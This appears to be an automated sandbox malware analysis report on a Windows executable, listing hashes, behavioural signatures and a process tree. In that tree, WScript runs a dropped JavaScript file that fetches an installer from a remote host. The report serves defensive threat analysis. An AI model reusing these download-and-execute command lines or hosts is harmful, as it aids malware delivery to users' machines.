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Analysis

  • max time kernel
    166s
  • max time network
    191s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/11/2022, 06:24

General

  • Target

    ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe

  • Size

    184KB

  • MD5

    7e8b823cd891cdf4f674c7e24eaef1d0

  • SHA1

    4850743b509cf017c5cdaa0453cd2af922504478

  • SHA256

    ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19

  • SHA512

    cf6e2dfdf7cb541c971e8d9d070ff2969e96b8f75b1843a43f29f1d622b311cc5ebf9d6432eee9009166df9865301eb92de3bdcbe36555dc7ec57ae2521d1c45

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3D:/7BSH8zUB+nGESaaRvoB7FJNndny

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe
    "C:\Users\Admin\AppData\Local\Temp\ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1244
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf349D.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf349D.exe
      2⤵
      • Blocklisted process makes network request
      PID:4220
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf349D.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf349D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1296
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf349D.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf349D.exe
      2⤵
      • Blocklisted process makes network request
      PID:3184

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf349D.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76